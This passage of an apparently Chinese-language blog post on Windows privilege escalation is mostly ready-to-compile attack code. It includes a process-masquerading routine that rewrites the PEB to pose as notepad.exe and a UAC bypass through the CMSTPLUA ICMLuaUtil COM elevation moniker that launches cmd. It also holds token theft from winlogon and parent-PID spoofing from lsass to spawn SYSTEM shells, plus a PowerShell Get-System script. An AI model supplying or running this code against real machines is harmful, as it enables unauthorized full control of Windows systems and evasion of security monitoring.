    } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
    
    
    typedef struct _RTL_USER_PROCESS_PARAMETERS {
        ULONG MaximumLength;
        ULONG Length;
    
        ULONG Flags;
        ULONG DebugFlags;
    
        HANDLE ConsoleHandle;
        ULONG ConsoleFlags;
        HANDLE StandardInput;
        HANDLE StandardOutput;
        HANDLE StandardError;
    
        CURDIR CurrentDirectory;
        UNICODE_STRING DllPath;
        UNICODE_STRING ImagePathName;
        UNICODE_STRING CommandLine;
        PVOID Environment;
    
        ULONG StartingX;
        ULONG StartingY;
        ULONG CountX;
        ULONG CountY;
        ULONG CountCharsX;
        ULONG CountCharsY;
        ULONG FillAttribute;
    
        ULONG WindowFlags;
        ULONG ShowWindowFlags;
        UNICODE_STRING WindowTitle;
        UNICODE_STRING DesktopInfo;
        UNICODE_STRING ShellInfo;
        UNICODE_STRING RuntimeData;
        RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];
    
        ULONG EnvironmentSize;
        ULONG EnvironmentVersion;
        PVOID PackageDependencyData; //8+
        ULONG ProcessGroupId;
        // ULONG LoaderThreads;
    } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
    
    typedef struct _PEB {
        BOOLEAN InheritedAddressSpace;
        BOOLEAN ReadImageFileExecOptions;
        BOOLEAN BeingDebugged;
        union
        {
            BOOLEAN BitField;
            struct
            {
                BOOLEAN ImageUsesLargePages : 1;
                BOOLEAN IsProtectedProcess : 1;
                BOOLEAN IsImageDynamicallyRelocated : 1;
                BOOLEAN SkipPatchingUser32Forwarders : 1;
                BOOLEAN IsPackagedProcess : 1;
                BOOLEAN IsAppContainer : 1;
                BOOLEAN IsProtectedProcessLight : 1;
                BOOLEAN IsLongPathAwareProcess : 1;
            };
        };
        HANDLE Mutant;
    
        PVOID ImageBaseAddress;
        PPEB_LDR_DATA Ldr;
        PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
        PVOID SubSystemData;
        PVOID ProcessHeap;
        PRTL_CRITICAL_SECTION FastPebLock;
        PVOID AtlThunkSListPtr;
        PVOID IFEOKey;
        union
        {
            ULONG CrossProcessFlags;
            struct
            {
                ULONG ProcessInJob : 1;
                ULONG ProcessInitializing : 1;
                ULONG ProcessUsingVEH : 1;
                ULONG ProcessUsingVCH : 1;
                ULONG ProcessUsingFTH : 1;
                ULONG ProcessPreviouslyThrottled : 1;
                ULONG ProcessCurrentlyThrottled : 1;
                ULONG ReservedBits0 : 25;
            };
            ULONG EnvironmentUpdateCount;
        };
        union
        {
            PVOID KernelCallbackTable;
            PVOID UserSharedInfoPtr;
        };
        ULONG SystemReserved[1];
        ULONG AtlThunkSListPtr32;
        PVOID ApiSetMap;
        ULONG TlsExpansionCounter;
        PVOID TlsBitmap;
        ULONG TlsBitmapBits[2];
        PVOID ReadOnlySharedMemoryBase;
        PVOID HotpatchInformation;
        PVOID *ReadOnlyStaticServerData;
        PVOID AnsiCodePageData;
        PVOID OemCodePageData;
        PVOID UnicodeCaseTableData;
    
        ULONG NumberOfProcessors;
        ULONG NtGlobalFlag;
    
        LARGE_INTEGER CriticalSectionTimeout;
        SIZE_T HeapSegmentReserve;
        SIZE_T HeapSegmentCommit;
        SIZE_T HeapDeCommitTotalFreeThreshold;
        SIZE_T HeapDeCommitFreeBlockThreshold;
    
        ULONG NumberOfHeaps;
        ULONG MaximumNumberOfHeaps;
        PVOID *ProcessHeaps;
    
        PVOID GdiSharedHandleTable;
        PVOID ProcessStarterHelper;
        ULONG GdiDCAttributeList;
    
        PRTL_CRITICAL_SECTION LoaderLock;
    
        ULONG OSMajorVersion;
        ULONG OSMinorVersion;
        USHORT OSBuildNumber;
        USHORT OSCSDVersion;
        ULONG OSPlatformId;
        ULONG ImageSubsystem;
        ULONG ImageSubsystemMajorVersion;
        ULONG ImageSubsystemMinorVersion;
        ULONG_PTR ImageProcessAffinityMask;
        GDI_HANDLE_BUFFER GdiHandleBuffer;
        PVOID PostProcessInitRoutine;
    
        PVOID TlsExpansionBitmap;
        ULONG TlsExpansionBitmapBits[32];
    
        ULONG SessionId;
    
        ULARGE_INTEGER AppCompatFlags;
        ULARGE_INTEGER AppCompatFlagsUser;
        PVOID pShimData;
        PVOID AppCompatInfo;
    
        UNICODE_STRING CSDVersion;
    
        PVOID ActivationContextData;
        PVOID ProcessAssemblyStorageMap;
        PVOID SystemDefaultActivationContextData;
        PVOID SystemAssemblyStorageMap;
    
        SIZE_T MinimumStackCommit;
    
        PVOID *FlsCallback;
        LIST_ENTRY FlsListHead;
        PVOID FlsBitmap;
        ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];
        ULONG FlsHighIndex;
    
        PVOID WerRegistrationData;
        PVOID WerShipAssertPtr;
        PVOID pContextData;
        PVOID pImageHeaderHash;
        union
        {
            ULONG TracingFlags;
            struct
            {
                ULONG HeapTracingEnabled : 1;
                ULONG CritSecTracingEnabled : 1;
                ULONG LibLoaderTracingEnabled : 1;
                ULONG SpareTracingBits : 29;
            };
        };
        ULONGLONG CsrServerReadOnlySharedMemoryBase;
    } PEB, *PPEB;
    
    typedef struct _GDI_TEB_BATCH {
        ULONG    Offset;
        UCHAR    Alignment[4];
        ULONG_PTR HDC;
        ULONG    Buffer[GDI_BATCH_BUFFER_SIZE];
    } GDI_TEB_BATCH, *PGDI_TEB_BATCH;
    
    typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
        ULONG Flags;
        PSTR FrameName;
    } TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT;
    
    typedef struct _TEB_ACTIVE_FRAME {
        ULONG Flags;
        struct _TEB_ACTIVE_FRAME *Previous;
        PTEB_ACTIVE_FRAME_CONTEXT Context;
    } TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME;
    
    typedef struct _TEB {
        NT_TIB NtTib;
    
        PVOID EnvironmentPointer;
        CLIENT_ID ClientId;
        PVOID ActiveRpcHandle;
        PVOID ThreadLocalStoragePointer;
        PPEB ProcessEnvironmentBlock;
    
        ULONG LastErrorValue;
        ULONG CountOfOwnedCriticalSections;
        PVOID CsrClientThread;
        PVOID Win32ThreadInfo;
        ULONG User32Reserved[26];
        ULONG UserReserved[5];
        PVOID WOW32Reserved;
        LCID CurrentLocale;
        ULONG FpSoftwareStatusRegister;
        PVOID SystemReserved1[54];
        NTSTATUS ExceptionCode;
        PVOID ActivationContextStackPointer;
    #if defined(_M_X64)
        UCHAR SpareBytes[24];
    #else
        UCHAR SpareBytes[36];
    #endif
        ULONG TxFsContext;
    
        GDI_TEB_BATCH GdiTebBatch;
        CLIENT_ID RealClientId;
        HANDLE GdiCachedProcessHandle;
        ULONG GdiClientPID;
        ULONG GdiClientTID;
        PVOID GdiThreadLocalInfo;
        ULONG_PTR Win32ClientInfo[62];
        PVOID glDispatchTable[233];
        ULONG_PTR glReserved1[29];
        PVOID glReserved2;
        PVOID glSectionInfo;
        PVOID glSection;
        PVOID glTable;
        PVOID glCurrentRC;
        PVOID glContext;
    
        NTSTATUS LastStatusValue;
        UNICODE_STRING StaticUnicodeString;
        WCHAR StaticUnicodeBuffer[261];
    
        PVOID DeallocationStack;
        PVOID TlsSlots[64];
        LIST_ENTRY TlsLinks;
    
        PVOID Vdm;
        PVOID ReservedForNtRpc;
        PVOID DbgSsReserved[2];
    
        ULONG HardErrorMode;
    #if defined(_M_X64)
        PVOID Instrumentation[11];
    #else
        PVOID Instrumentation[9];
    #endif
        GUID ActivityId;
    
        PVOID SubProcessTag;
        PVOID EtwLocalData;
        PVOID EtwTraceData;
        PVOID WinSockData;
        ULONG GdiBatchCount;
    
        union
        {
            PROCESSOR_NUMBER CurrentIdealProcessor;
            ULONG IdealProcessorValue;
            struct
            {
                UCHAR ReservedPad0;
                UCHAR ReservedPad1;
                UCHAR ReservedPad2;
                UCHAR IdealProcessor;
            };
        };
    
        ULONG GuaranteedStackBytes;
        PVOID ReservedForPerf;
        PVOID ReservedForOle;
        ULONG WaitingOnLoaderLock;
        PVOID SavedPriorityState;
        ULONG_PTR SoftPatchPtr1;
        PVOID ThreadPoolData;
        PVOID *TlsExpansionSlots;
    #if defined(_M_X64)
        PVOID DeallocationBStore;
        PVOID BStoreLimit;
    #endif
        ULONG MuiGeneration;
        ULONG IsImpersonating;
        PVOID NlsCache;
        PVOID pShimData;
        ULONG HeapVirtualAffinity;
        HANDLE CurrentTransactionHandle;
        PTEB_ACTIVE_FRAME ActiveFrame;
        PVOID FlsData;
    
        PVOID PreferredLanguages;
        PVOID UserPrefLanguages;
        PVOID MergedPrefLanguages;
        ULONG MuiImpersonation;
    
        union
        {
            USHORT CrossTebFlags;
            USHORT SpareCrossTebBits : 16;
        };
        union
        {
            USHORT SameTebFlags;
            struct
            {
                USHORT SafeThunkCall : 1;
                USHORT InDebugPrint : 1;
                USHORT HasFiberData : 1;
                USHORT SkipThreadAttach : 1;
                USHORT WerInShipAssertCode : 1;
                USHORT RanProcessInit : 1;
                USHORT ClonedThread : 1;
                USHORT SuppressDebugMsg : 1;
                USHORT DisableUserStackWalk : 1;
                USHORT RtlExceptionAttached : 1;
                USHORT InitialThread : 1;
                USHORT SpareSameTebBits : 1;
            };
        };
    
        PVOID TxnScopeEnterCallback;
        PVOID TxnScopeExitCallback;
        PVOID TxnScopeContext;
        ULONG LockCount;
        ULONG SpareUlong0;
        PVOID ResourceRetValue;
    } TEB, *PTEB;
    
    
    typedef VOID(NTAPI *PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION)(
        _In_    PCLDR_DATA_TABLE_ENTRY DataTableEntry,
        _In_    PVOID Context,
        _Inout_ BOOLEAN *StopEnumeration
        );
    
    typedef PVOID NTAPI RTLINITUNICODESTRING(
        _Inout_    PUNICODE_STRING DestinationString,
        _In_opt_ PCWSTR SourceString
    );
    typedef RTLINITUNICODESTRING FAR * LPRTLINITUNICODESTRING;
    LPRTLINITUNICODESTRING            RtlInitUnicodeString;
    
    typedef NTSTATUS NTAPI RTLENTERCRITICALSECTION(
        _In_ PRTL_CRITICAL_SECTION CriticalSection
    );
    typedef RTLENTERCRITICALSECTION FAR * LPRTLENTERCRITICALSECTION;
    LPRTLENTERCRITICALSECTION            RtlEnterCriticalSection;
    
    typedef NTSTATUS NTAPI RTLLEAVECRITICALSECTION(
        _In_ PRTL_CRITICAL_SECTION CriticalSection
    );
    typedef RTLLEAVECRITICALSECTION FAR * LPRTLLEAVECRITICALSECTION;
    LPRTLLEAVECRITICALSECTION            RtlLeaveCriticalSection;
    
    typedef NTSTATUS NTAPI LDRENUMERATELOADEDMODULES(
        _In_opt_ ULONG Flags,
        _In_ PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION CallbackFunction,
        _In_opt_ PVOID Context);
    typedef LDRENUMERATELOADEDMODULES FAR * LPLDRENUMERATELOADEDMODULES;
    LPLDRENUMERATELOADEDMODULES            LdrEnumerateLoadedModules;
    
    typedef NTSTATUS NTAPI NTALLOCATEVIRTUALMEMORY(
        _In_        HANDLE ProcessHandle,
        _Inout_     PVOID *BaseAddress,
        _In_        ULONG_PTR ZeroBits,
        _Inout_     PSIZE_T RegionSize,
        _In_        ULONG AllocationType,
        _In_        ULONG Protect
    );
    typedef NTALLOCATEVIRTUALMEMORY FAR * LPNTALLOCATEVIRTUALMEMORY;
    LPNTALLOCATEVIRTUALMEMORY    NtAllocateVirtualMemory;
    
    LPWSTR g_lpszExplorer2 = TEXT("C:\\Windows\\notepad.exe");
    
    VOID NTAPI supxLdrEnumModulesCallback(
        _In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry,
        _In_ PVOID Context,
        _Inout_ BOOLEAN *StopEnumeration
    )
    {
        PPEB Peb = (PPEB)Context;
    
        if (DataTableEntry->DllBase == Peb->ImageBaseAddress) {
            RtlInitUnicodeString(&DataTableEntry->FullDllName, g_lpszExplorer2);
            RtlInitUnicodeString(&DataTableEntry->BaseDllName, L"notepad.exe");//explorer
            *StopEnumeration = TRUE;
        }
        else {
            *StopEnumeration = FALSE;
        }
    }
    
    __inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; }
    
    VOID supMasqueradeProcess(
        VOID
    )
    {
        NTSTATUS Status;
        PPEB    Peb = NtCurrentPeb();
        SIZE_T  RegionSize;
    
        PVOID g_lpszExplorer = NULL;
        RegionSize = 0x1000;
    
        Status = NtAllocateVirtualMemory(
            NtCurrentProcess(),
            &g_lpszExplorer,
            0,
            &RegionSize,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE);
    
        if (NT_SUCCESS(Status)) {
            RtlEnterCriticalSection(Peb->FastPebLock);
    
            RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, g_lpszExplorer2);
            RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, g_lpszExplorer2);
    
            RtlLeaveCriticalSection(Peb->FastPebLock);
    
            LdrEnumerateLoadedModules(0, &supxLdrEnumModulesCallback, (PVOID)Peb);
        }
    }
    
    #define T_CLSID_CMSTPLUA                     L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"
    #define T_IID_ICMLuaUtil                     L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}"
    #define T_ELEVATION_MONIKER_ADMIN            L"Elevation:Administrator!new:"
    
    #define UCM_DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \
         EXTERN_C const GUID DECLSPEC_SELECTANY name \
                    = { l, w1, w2, { b1, b2,  b3,  b4,  b5,  b6,  b7,  b8 } }  
    
    UCM_DEFINE_GUID(IID_ICMLuaUtil, 0x6EDD6D74, 0xC007, 0x4E75, 0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C);
    
    typedef interface ICMLuaUtil ICMLuaUtil;
    
    typedef struct ICMLuaUtilVtbl {
    
        BEGIN_INTERFACE
    
            HRESULT(STDMETHODCALLTYPE* QueryInterface)(
                __RPC__in ICMLuaUtil* This,
                __RPC__in REFIID riid,
                _COM_Outptr_  void** ppvObject);
    
        ULONG(STDMETHODCALLTYPE* AddRef)(
            __RPC__in ICMLuaUtil* This);
    
        ULONG(STDMETHODCALLTYPE* Release)(
            __RPC__in ICMLuaUtil* This);
    
        //incomplete definition
        HRESULT(STDMETHODCALLTYPE* SetRasCredentials)(
            __RPC__in ICMLuaUtil* This);
    
        //incomplete definition
        HRESULT(STDMETHODCALLTYPE* SetRasEntryProperties)(
            __RPC__in ICMLuaUtil* This);
    
        //incomplete definition
        HRESULT(STDMETHODCALLTYPE* DeleteRasEntry)(
            __RPC__in ICMLuaUtil* This);
    
        //incomplete definition
        HRESULT(STDMETHODCALLTYPE* LaunchInfSection)(
            __RPC__in ICMLuaUtil* This);
    
        //incomplete definition
        HRESULT(STDMETHODCALLTYPE* LaunchInfSectionEx)(
            __RPC__in ICMLuaUtil* This);
    
        //incomplete definition
        HRESULT(STDMETHODCALLTYPE* CreateLayerDirectory)(
            __RPC__in ICMLuaUtil* This);
    
        HRESULT(STDMETHODCALLTYPE* ShellExec)(
            __RPC__in ICMLuaUtil* This,
            _In_     LPCTSTR lpFile,
            _In_opt_  LPCTSTR lpParameters,
            _In_opt_  LPCTSTR lpDirectory,
            _In_      ULONG fMask,
            _In_      ULONG nShow);
    
        END_INTERFACE
    
    } *PICMLuaUtilVtbl;
    
    interface ICMLuaUtil { CONST_VTBL struct ICMLuaUtilVtbl* lpVtbl; };
    
    HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
    {
        BIND_OPTS3 bo;
        WCHAR wszCLSID[MAX_PATH] = { 0 };
        WCHAR wszMonikerName[MAX_PATH] = { 0 };
        HRESULT hr = 0;
        // 初始化COM环境
        ::CoInitialize(NULL);
        // 构造字符串
        ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
        hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
        if (FAILED(hr))
        {
            return hr;
        }
        // 设置BIND_OPTS3
        ::RtlZeroMemory(&bo, sizeof(bo));
        bo.cbStruct = sizeof(bo);
        bo.hwnd = hWnd;
        bo.dwClassContext = CLSCTX_LOCAL_SERVER;// CLSCTX_INPROC_SERVER;//CLSCTX_LOCAL_SERVER;//;
        // 创建名称对象并获取COM对象
        hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
    
        return hr;
    }
    
    
    
    BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
    {
        HRESULT hr = 0;
        CLSID clsidICMLuaUtil = { 0 };
        IID iidICMLuaUtil = { 0 };
        ICMLuaUtil *CMLuaUtil = NULL;
        BOOL bRet = FALSE;
        do {
            ::CLSIDFromString(/*CLSID_CMSTPLUA*/L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}", &clsidICMLuaUtil);
            ::IIDFromString(/*IID_ICMLuaUtil*/L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}", &iidICMLuaUtil);
            // 提权
            hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
            if (FAILED(hr))
            {
                break;
            }
            // 启动程序
            hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
            if (FAILED(hr))
            {
                break;
            }
            bRet = TRUE;
        } while (FALSE);
        // 释放
        if (CMLuaUtil)
        {
            CMLuaUtil->lpVtbl->Release(CMLuaUtil);
        }
        return bRet;
    }
    int main()
    {
    
        HINSTANCE hinstStub = GetModuleHandle(L"ntdll.dll");
        if (hinstStub)
        {
            RtlInitUnicodeString = (LPRTLINITUNICODESTRING)GetProcAddress(hinstStub, "RtlInitUnicodeString");
            if (!RtlInitUnicodeString)
            {
                printf("Could not find RtlInitUnicodeString entry point in NTDLL.DLL");
                exit(0);
            }
    
            RtlEnterCriticalSection = (LPRTLENTERCRITICALSECTION)GetProcAddress(hinstStub, "RtlEnterCriticalSection");
            if (!RtlEnterCriticalSection)
            {
                printf("Could not find RtlEnterCriticalSection entry point in NTDLL.DLL");
                exit(0);
            }
    
            RtlLeaveCriticalSection = (LPRTLLEAVECRITICALSECTION)GetProcAddress(hinstStub, "RtlLeaveCriticalSection");
            if (!RtlLeaveCriticalSection)
            {
                printf("Could not find RtlLeaveCriticalSection entry point in NTDLL.DLL");
                exit(0);
            }
    
            LdrEnumerateLoadedModules = (LPLDRENUMERATELOADEDMODULES)GetProcAddress(hinstStub, "LdrEnumerateLoadedModules");
            if (!LdrEnumerateLoadedModules)
            {
                printf("Could not find LdrEnumerateLoadedModules entry point in NTDLL.DLL");
                exit(0);
            }
    
            NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtAllocateVirtualMemory");
            if (!NtAllocateVirtualMemory)
            {
                printf("Could not find NtAllocateVirtualMemory entry point in NTDLL.DLL");
                exit(0);
            }
        }
        else
        {
            printf("Could not GetModuleHandle of NTDLL.DLL");
            exit(0);
        }
    
        supMasqueradeProcess();
    
    CMLuaUtilBypassUAC(L"cmd");
    
    
        getchar();
        return 0;
    }
    View Code

    三、GetSystem

       3.1 Invoke-TokenManipulation.ps1

    https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

       3.2 复制token

    // token.cpp : Defines the entry point for the console application.
    //
    
    #include "stdafx.h"
    #include <windows.h>
    #include <iostream>
    #include <Lmcons.h>
    #include <TlHelp32.h>
    
    BOOL SePrivTokenrivilege(
                             HANDLE hToken,          
                             LPCTSTR lpszPrivilege, 
                             BOOL bEnablePrivilege  
                             )
    {
        LUID luid;
    
        if (!LookupPrivilegeValue(
            NULL,            
            lpszPrivilege,  
            &luid))       
        {
            return FALSE;
        }
    
        TOKEN_PRIVILEGES PrivToken;
        PrivToken.PrivilegeCount = 1;
        PrivToken.Privileges[0].Luid = luid;
        if (bEnablePrivilege)
            PrivToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        else
            PrivToken.Privileges[0].Attributes = 0;
    
    
        if (!AdjustTokenPrivileges(
            hToken,
            FALSE,
            &PrivToken,
            sizeof(TOKEN_PRIVILEGES),
            (PTOKEN_PRIVILEGES)NULL,
            (PDWORD)NULL))
        {
            return FALSE;
        }
    
        return TRUE;
    }
    
    
    DWORD FindProcessPID(const wchar_t* ProcessName) {
        HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        PROCESSENTRY32 process = { 0 };
        process.dwSize = sizeof(process);
    
        if (Process32First(snapshot, &process)) {
            do {
                if (!wcscmp((const wchar_t*)process.szExeFile,(const wchar_t*)ProcessName))
                    break;
            } while (Process32Next(snapshot, &process));
        }
    
        CloseHandle(snapshot);
        return process.th32ProcessID;
    }
    
    
    int _tmain(int argc, _TCHAR* argv[])
    {
        HANDLE hDpToken = NULL;
    
    
    
        HANDLE hCurrentToken = NULL;
        BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hCurrentToken);
        SePrivTokenrivilege(hCurrentToken, L"SeDebugPrivilege", TRUE);
    
        DWORD PID_TO_IMPERSONATE = FindProcessPID(L"Winlogon.exe");
        HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);
    
    
        HANDLE hToken = NULL;
        BOOL TokenRet = OpenProcessToken(hProcess,
            TOKEN_DUPLICATE |
            TOKEN_ASSIGN_PRIMARY |
            TOKEN_QUERY, &hToken);
    
        BOOL impersonateUser = ImpersonateLoggedOnUser(hToken);
        if (GetLastError() == NULL)
        {
            RevertToSelf();
        }
    
    
        BOOL dpToken = DuplicateTokenEx(hToken, 
            TOKEN_ADJUST_DEFAULT |
            TOKEN_ADJUST_SESSIONID |
            TOKEN_QUERY |
            TOKEN_DUPLICATE |
            TOKEN_ASSIGN_PRIMARY,
            NULL,
            SecurityImpersonation,
            TokenPrimary,
            &hDpToken
            );
    
    
        STARTUPINFO startupInfo = {0};
        startupInfo.cb = sizeof(STARTUPINFO);
        PROCESS_INFORMATION ProcessInfo = {0};
    
        BOOL Ret = CreateProcessWithTokenW(hDpToken,
            LOGON_WITH_PROFILE,
            L"C:\\Windows\\System32\\cmd.exe",
            NULL, 0, NULL, NULL,
            &startupInfo,
            &ProcessInfo);
    
    
        return TRUE;
        return 0;
    }
    View Code

       3.3 UpdateProcThreadAttribute

        STARTUPINFOEXA sie = { sizeof(sie) };
        PROCESS_INFORMATION pi;
        SIZE_T cbAttributeListSize = 0;
        PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL;
        HANDLE hParentProcess = NULL;
        DWORD dwPid = 0;
    
        dwPid = FindProcessPID(L"lsass.exe");
    
        HANDLE hCurrentToken = NULL;
        BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hCurrentToken);
        SePrivTokenrivilege(hCurrentToken, L"SeDebugPrivilege", TRUE);
    
        InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
        pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
        InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize);
        hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
        UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL);
    
        sie.lpAttributeList = pAttributeList;
        CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&sie.StartupInfo, &pi);
    
        DeleteProcThreadAttributeList(pAttributeList);
        CloseHandle(hParentProcess);
    View Code

      Get-System.ps1

    <#
    $owners = @{}
    gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
    get-process | select processname,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}
    #>
    
    #Simple powershell/C# to spawn a process under a different parent process
    #Launch PowerShell As Administrator
    #usage: . .\Get- System.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe")
    #Reference: https://github.com/decoder-it/psgetsystem
    
    
    
    $code = @"
    using System;
    using System.Diagnostics;
    using System.IO;
    using System.Runtime.InteropServices;
    public class MyProcess
    {
        [DllImport("kernel32.dll")]
        [return: MarshalAs(UnmanagedType.Bool)]
        static extern bool CreateProcess(
            string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
            ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
            IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);
        [DllImport("kernel32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UpdateProcThreadAttribute(
            IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue,
            IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
        [DllImport("kernel32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool InitializeProcThreadAttributeList(
            IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
        [DllImport("kernel32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool CloseHandle(IntPtr hObject);
            [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        struct STARTUPINFOEX
        {
            public STARTUPINFO StartupInfo;
            public IntPtr lpAttributeList;
        }
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        struct STARTUPINFO
        {
            public Int32 cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }
        [StructLayout(LayoutKind.Sequential)]
        public struct SECURITY_ATTRIBUTES
        {
            public int nLength;
            public IntPtr lpSecurityDescriptor;
            public int bInheritHandle;
        }
        public static void CreateProcessFromParent(int ppid, string command)
        {
            const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
            const uint CREATE_NEW_CONSOLE = 0x00000010;
            const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            STARTUPINFOEX si = new STARTUPINFOEX();
            si.StartupInfo.cb = Marshal.SizeOf(si);
            IntPtr lpValue = IntPtr.Zero;
            try
            {
                IntPtr lpSize = IntPtr.Zero;
                InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
                si.lpAttributeList = Marshal.AllocHGlobal(lpSize);
                InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, ref lpSize);
                IntPtr phandle = Process.GetProcessById(ppid).Handle;
                lpValue = Marshal.AllocHGlobal(IntPtr.Size);
                Marshal.WriteIntPtr(lpValue, phandle);
                UpdateProcThreadAttribute(
                    si.lpAttributeList,
                    0,
                    (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
                    lpValue,
                    (IntPtr)IntPtr.Size,
                    IntPtr.Zero,
                    IntPtr.Zero);
                SECURITY_ATTRIBUTES pattr = new SECURITY_ATTRIBUTES();
                SECURITY_ATTRIBUTES tattr = new SECURITY_ATTRIBUTES();
                pattr.nLength = Marshal.SizeOf(pattr);
                tattr.nLength = Marshal.SizeOf(tattr);
                Console.Write("Starting: " + command  + "...");
                bool b = CreateProcess(command, null, ref pattr, ref tattr, false,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi);
                Console.WriteLine(b);
            }
            finally
            {
                if (si.lpAttributeList != IntPtr.Zero)
                {
                    DeleteProcThreadAttributeList(si.lpAttributeList);
                    Marshal.FreeHGlobal(si.lpAttributeList);
                }
                Marshal.FreeHGlobal(lpValue);
                if (pi.hProcess != IntPtr.Zero)
                {
                    CloseHandle(pi.hProcess);
                }
                if (pi.hThread != IntPtr.Zero)
                {
                    CloseHandle(pi.hThread);
                }
            }
        }
    }
    "@
    Add-Type -TypeDefinition $code
    View Code

       3.4 JuicyPotato

    https://github.com/ohpe/juicy-potato/blob/master/JuicyPotato/JuicyPotato/JuicyPotato.cpp

    https://3gstudent.github.io/3gstudent.github.io/Windows%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E5%B7%A5%E5%85%B7Juicy-Potato%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90/

    四、参考:

    https://chasers.fun/2020-02-29-ATT&CK_Privilege_Escalation/

    https://www.secpulse.com/archives/72563.html

